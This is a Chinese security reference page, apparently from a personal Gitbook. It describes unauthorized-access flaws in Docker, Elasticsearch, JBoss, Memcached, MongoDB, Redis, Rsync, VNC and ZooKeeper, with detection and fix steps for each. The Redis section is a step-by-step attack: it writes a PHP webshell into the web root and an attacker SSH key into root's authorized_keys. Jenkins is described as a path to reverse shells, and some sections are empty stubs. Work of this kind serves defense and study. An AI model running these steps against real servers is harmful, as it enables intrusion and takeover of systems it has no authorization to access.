1.1. 什么是未授权访问漏洞

未授权访问,顾名思义就是不进行请求授权的情况下对需要权限的功能进行访问执行。通常是由于认证存在缺陷、无认证或安全配置不当导致。常见于服务端口,接口未限制开放,网页功能通过链接无限制用户访问,低权限用户越权访问高权限功能。

1.2. CouchDB

1.3. Docker

1.3.1. 漏洞信息

(1) 漏洞简述Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker 存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以脱离容器拿到宿主机权限。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Docker 1.3、Docker 1.6。

1.3.2. 检测方法

先用 nmap 扫描查看端口开放情况。2375为 docker 端口如果存在漏洞会有以下情况url 输入 ip:2375/version 就会列出基本信息也可以执行目标服务器容器命令如 container、image 等。

1.3.3. 修复方法

(1) 使用 TLS 认证。

(2) 网络访问控制Network Access Control

1.4. Elasticsearch

  • 端口:9200、9300

  • 介绍:ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。

    Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。

  • 使用工具:浏览器直接访问如下地址

    •   http://101.198.161.xxx:9200/_cat/indices/
        http://101.198.161.xxx:9200/_plugin/head/
        http://101.198.161.xxx:9200/_nodes/
        http://101.198.161.xxx:9200/_status
        http: //101.198.161.xxx:9200/_search?pretty
      
  • 修复:参考 ElasticSearch未授权访问漏洞修复方案

1.5. Hadoop

  • 端口:web访问,80等
  • 介绍:Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的 MapReduce 算法进行分布式处理。这个框架被Adobe,Last fm,EBay,Yahoo等知名公司使用着。它极大地精简化程序员进行分布式计算时所需的操作,用户大概通过如下步骤在hadoop中实现分布式处理。
  • 使用工具:

  • 修复:

    • 如无必要,关闭Hadoop Web管理页面;
    • 开启服务级别身份验证,如Kerberos认证;
    • 部署Knox、Nginx之类的反向代理系统,防止未经授权用户访问;
    • 设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口

1.6. Jenkins

  • 端口:web端口
  • 介绍:未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。
  • 使用工具:浏览器、MSF
  • 修复:
    • 1、对后台控制页面做登录验证限制
    • 2、升级版本

1.7. JBOSS

1.7.1. 漏洞信息

(1) 漏洞简述JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/jmx-console 就可以浏览 jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围JBOSS 全版本。

1.7.2. 检测方法

先用 nmap 扫描查看端口开放情况看是否开放 JBOSS 端口。再使用漏洞测试工具测试 jmx 组件存在情况通过访问 http://ip:jboss端口/ 看是否能进入 jmx-console 和 web-console 。

1.7.3. 修复方法

JMX Console 安全配置

① 找到 %JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml 文件去掉下面这段 xml 文本的注释。

https://images2018.cnblogs.com/blog/1275435/201804/1275435-20180426182248019-1571137611.png

② 与 jboss-web.xml 同级的目录下还有一个文件 web.xml找到下面这段 xml 文本把 GET 和 POST 两行注释掉同时 security-constraint 整个部分取消注释, 不然存在head头绕过

https://images2018.cnblogs.com/blog/1275435/201804/1275435-20180426183107445-636697233.png

%JBOSS_HOME%\server\default\conf\props\jbossws-users.properties 中删除原始的 admin/admin添加新的用户名密码。

https://images2018.cnblogs.com/blog/1275435/201804/1275435-20180426183714171-674693678.png

%JBOSS_HOME%\server\default\conf\props\jbossws-roles.properties 中定义新用户名所属角色。该文件定义的格式为用户名 = 角色多个角色以 “,” 隔开该文件默认为 admin 用户定义了 JBossAdmin 和 HttpInvoker 这两个角色。

# A sample roles.properties file foruse with the UsersRolesLoginModule
kermit = JBossAdmin,HttpInvoker

1.8. Memcached

  • 端口:11211
  • 介绍:Memcached是一套常用的key-value分布式高速缓存系统,由于其设计缺陷没有权限控制模块,若11211端口的服务对公网开放,攻击者无需授权即可通过命令访问Memcached中的敏感信息。
  • 使用工具:
  • 修复:
      1. vim /etc/sysconfig/memcached
      1. OPTIONS="-l 127.0.0.1" #设置本地为监听
      1. /etc/init.d/memcached restart #重启服务

1.8.1. 漏洞信息

(1) 漏洞简述Memcached 是一套分布式高速缓存系统。它以 Key – Value 的形式将数据存储在内存中。这些数据通常是会被频繁地应用、读取的。正因为内存中数据的读取速度远远大于硬盘的读取速度所以可以用来加速应用的访问。由于 Memcached 的安全设计缺陷客户端连接 Memcached 服务器后无需认证就可读取、修改服务器缓存内容。

(2) 风险等级高风险。

(3) 漏洞编号CVE-2013-7239 。

(4) 影响范围Memcached 全版本。

1.8.2. 检测方法

登录机器执行 netstat -an | more 命令查看端口监听情况。回显 0.0.0.0:1121111211 表示在所有网卡进行监听存在 Memcached 未授权访问漏洞。

telnet <target> 11211
or
nc -vv <target> 11211

提示连接成功表示漏洞存在。

使用端口扫描工具 nmap 进行远程扫描

nmap -sV -p11211 --script memcached-info <target>

修复方法

(1) 配置访问控制。建议用户不要将服务发布到互联网上以防被黑客利用而可以通过安全组规则或 Iptables 配置访问控制规则只允许内部必需的用户地址访问命令如下

iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT

(2) bind 指定监听 IP。如果 Memcached 没有在外网开放的必要可在 Memcached 启动时指定绑定的 IP 地址为 127.0.0.1。例如

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(3) 最小化权限运行。使用普通权限账号运行以下指定 memcached 用户运行

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(4) 修改默认端口。修改默认 11211 监听端口为 11222 端口

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

(5) 备份数据。为避免数据丢失升级前应做好备份或建立硬盘快照。

1.9. MongoDB

  • 端口:27017

  • 介绍:MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0,则可远程无需授权访问数据库;

    • 3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。

      3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证; 3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

  • 使用工具:MSFnavicatnc各种mongodb客户端

  • 修复:参考 mongoDB设置用户名密码

1.9.1. 漏洞信息

(1) 漏洞简述开启 MongoDB 服务时若不添加任何参数默认是没有权限验证的而且可以远程访问数据库登录的用户无需密码即可通过默认端口 27017 对数据库进行增、删、改、查等高危操作。刚安装完毕时MongoDB 都默认有一个 admin 数据库此时 admin 数据库为空没有记录权限相关的信息。当 admin.system.users 一个用户都没有时即使 MongoDB 启动时添加了 –auth 参数还是可以做任何操作不管是否以 –auth 参数启动直到在 admin.system.users 中添加了一个用户。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围MongoDB 数据库。

1.9.2. 检测方法

可以自己编制相应脚本或利用专用工具检测也可以查看配置文件

(1) 检测是否仅监听 127.0.0.1

--bind_ip 127.0.0.1
or
vim /etc/mongodb.conf
bind_ip = 127.0.0.1

(2) 检测是否开启 auth 认证

mongo 目标ip:端口号

show dbs;#列出有哪些数据库,数据库占用了多大的存储空间。
db;#当前连接的是哪个数据库
mongod --auth
or
vim /etc/mongodb.conf
auth = true

1.9.3. 修复方法

(1) 为 MongoDB 添加认证

① MongoDB 启动时添加 -auth 参数。

② 给 MongoDB 添加用户

use admin # 使用 admin 库
db.addUser“用户名” “密码”# 添加用户名、密码
db.auth“用户名”,“密码”# 验证是否添加成功返回 1 说明成功。

(2) 禁用 HTTP 和 REST 端口

MongoDB 自身带有一个 HTTP 服务并支持 REST 接口。在 2.6 版本以后这些接口默认关闭。MongoDB 默认会使用默认端口监听 Web 服务一般不需要通过 Web 方式进行远程管理建议禁用。修改配置文件或在启动时选择 -nohttpinterface 参数 nohttpinterface = false。

(3) 限制绑定 IP

启动时加入参数

--bind_ip 127.0.0.1

或在 /etc/mongodb.conf 文件中添加以下内容

bind_ip = 127.0.0.1

1.10. Mysql

  • 端口:3306
  • 介绍:未授权访问,可读取数据库中的数据,可尝试在web路径下写webshell,udf提权等
  • 使用工具:MSFnavicat各种mysql客户端
  • 修复:参考 MySQL修改密码的3种方式

1.11. nfs

  • 端口:2049

  • 介绍:配置不当时,可以远程挂载nfs的共享目录

  • 使用工具:

    •   apt install nfs-common 安装nfs客户端
        showmount -e xx.xx.xx.xx 查看nfs服务器上的共享目录
        mount -t nfs xx.xx.xx.xx:/grdata /mnt 挂载到本地
        umount /mnt 卸载目录
      
  • 修复:在/etc/exports下对所需要共享的文件进行访问控制

    • /home export 172.19.104.6(rw,async,no_root_squash) #仅允许172.19.104.6访问该目录。

1.12. Redis

  • 端口:6379
  • 介绍:Redis 低版本默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。
  • 利用方式:

    • 写文件

      • 写公钥
      • 写计划任务
      • 写webshell
    • 主从复制RCE

  • 使用工具

  • 修复:参考 Redis 密码设置和查看密码

  • 其他:

1.12.1. 漏洞信息

(1) 漏洞简述Redis 是一个高性能的 Key – Value 数据库。Redis 的出现很大程度上弥补了 memcached 这类 Key/Value 存储的不足在部分场合可以对关系数据库起到很好的补充作用。Redis 默认情况下会绑定在 0.0.0.0:6379这样会将 Redis 服务暴露到公网上。在没有开启认证的情况下会导致任意用户在可以访问目标服务器的情况下未经授权就访问到 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法成功地在 Redis 服务器上写入公钥进而可以使用对应私钥直接登录目标服务器。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Redis 数据库。

检测方法

先用 nmap 扫描查看端口开放情况发现开放的 6379 端口为 Redis 的默认端口

Nmap -A -p 6379 --script redis-info 192.168.10.153

Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞具体命令如下

./redis-cli -h 192.168.10.153
Info

就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。

(1) 网站写码

① 先用客户端连接服务器的 redis 服务

redis-cli.exe -h 目标IP

② 连接后设置目录

config set dir /var/www/html此路径是服务器端 Web 网站的目录

③ 设置要写入的文件名

config set dbfilename redis88.php

④ 设置要写入的内容

set webshell "<?php @eval($_POST['123']); ?>"

⑤ 保存

save

⑥ 保存后用菜刀连接此木马得到 webshell。

(2) 结合 SSH 免密码登录

① 先在本地建个 ssh 的密钥

ssh-keygen-trsa

② 将公钥的内容写到一个文本中命令如下

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

注意写到文件中时一定要在前面加几行后面加几行。

③ 将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下

cat test.txt | redis -cli -h <hostname> -x set test

④ 登录远程服务器可以看到公钥已经添加到 Redis 的服务器上了命令如下

redis-cli -h <hostname>
keys *
get test

⑤ 随后就是最关键的了Redis 有个 save 命令save 命令执行一个同步保存操作将当前 Redis 实例的所有数据快照snapshot以 RDB 文件的形式保存到硬盘。所以save 命令就可以将 test 里的公钥保存到 /root/.ssh 下要有权限。

修改保存的路径为

config set dir "/root/.ssh"

修改文件名为

config set dbfilename "authorized_keys"

保存。

⑥ 测试一下

ssh 用户名@<IP地址>

实现免密码成功登陆。

1.12.2. 修复方法

(1) 设置 Redis 访问密码在 redis.conf 中找到 “requirepass” 字段在后面填上强口令redis 客户端也需要此密码来访问 redis 服务。

(2) 配置 bind 选项限定可以连接 Reids 服务器的 IP并修改默认端口 6379。

(3) 重启 Redis 服务。

(4) 清理系统中存在的后门木马。

1.13. Rsync

1.13.1. 漏洞信息

(1) 漏洞简述:Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837

(2) 风险等级:高风险。

(3) 漏洞编号:无。

(4) 影响范围:Rsync 全版本。

1.13.2. 检测方法

nmap 扫描:nmap ip -p837

列出当前目录,显示用户:rsync ip

如果是root,可以下载任意文件并上传文件。

1.13.3. 修复方法

(1) 隐藏 module 信息:修改配置文件 list =false。

(2) 权限控制:不需要写入权限的 module 的设置为只读 Read only = true。

(3) 网络访问控制:使用安全组策略或白名单限制,只允许必要访问的主机访问:hosts allow = 123.123.123.123。

(4) 账户认证:只允许指定的用户利用指定的密码使用 rsync 服务。

(5) 数据加密传输:Rsync 默认没有直接支持加密传输,如果需要 Rsync 同步重要性很高的数据,可以使用 ssh。

1.14. SpringBoot

1.15. VNC

  • 端口:5900-5905
  • 介绍:vnc用于远程桌面控制,未授权访问会导致恶意用户直接控制受控主机
  • 使用工具:VNCview
  • 修复:配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码

1.15.1. 漏洞信息

(1) 漏洞简述VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 59005901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围VNC 全版本。

1.15.2. 检测方法

使用 metasploit 进行批量检测

(1) 在 kali 下运行 msfconsolemsfconsole。

(2) 调用 VNC 未授权检测模块use auxiliary/scanner/vnc/vnx_none_auth。

(3) 显示有哪些选项show options。

(4) 设置地址段set rhosts ip 或 段。

(5) 设置线程set threads 50。

(6) 开始扫描run。

1.15.3. 修复方法

(1) 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。

(2) 以最小权限的普通用户身份运行操作系统。

1.16. ZooKeeper

  • 端口:2181、2182

  • 介绍:可读取敏感信息,或者在Zookeeper集群内执行kill命令

  • 使用工具:netcat
  • 修复:
    • 1、修改 ZooKeeper 默认端口,采用其他端口服务。
    • 2、添加访问控制,配置服务来源地址限制策略。
    • 3、增加 ZooKeeper 的认证配置。

1.16.1. 漏洞信息

(1) 漏洞简述ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务是 Google 的 Chubby 一个开源的实现是 Hadoop 和 Hbase 的重要组件。它是一个为分布式应用提供一致性服务的软件提供的功能包括配置维护、域名服务、分布式同步、组服务等。ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境。这将导致任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Zookeeper 全版本。

1.16.2. 检测方法

(1) 通过 nmap 扫描开放了 2181 端口的主机。

(2) 运行脚本通过 socket 连接 2181 端口并发送 envi 命令若服务端返回的数据中包含 ZooKeeper 的服务运行环境信息即可证明存在未授权访问。

检测脚本

# coding=utf-8

import socket
import sys

def check(ip, port, timeout, cmd):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send(cmd)
        data = s.recv(1024)
        s.close()
        print data
    except:
        pass

def main():
    if len(sys.argv) < 3:
        exit()
    ip = sys.argv[1]
    cmd = sys.argv[2]
    # envi
    # dump
    # reqs
    # ruok
    # stat
    check(ip, 2181, 3, cmd)

if __name__ == '__main__':
    main()

1.16.3. 修复方法

(1) 修改 ZooKeeper 默认端口,采用其他端口服务,配置服务来源地址限制策略。

(2) 增加 ZooKeeper 的认证配置。

Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2021-12-14 09:55:53

results matching ""

    No results matching ""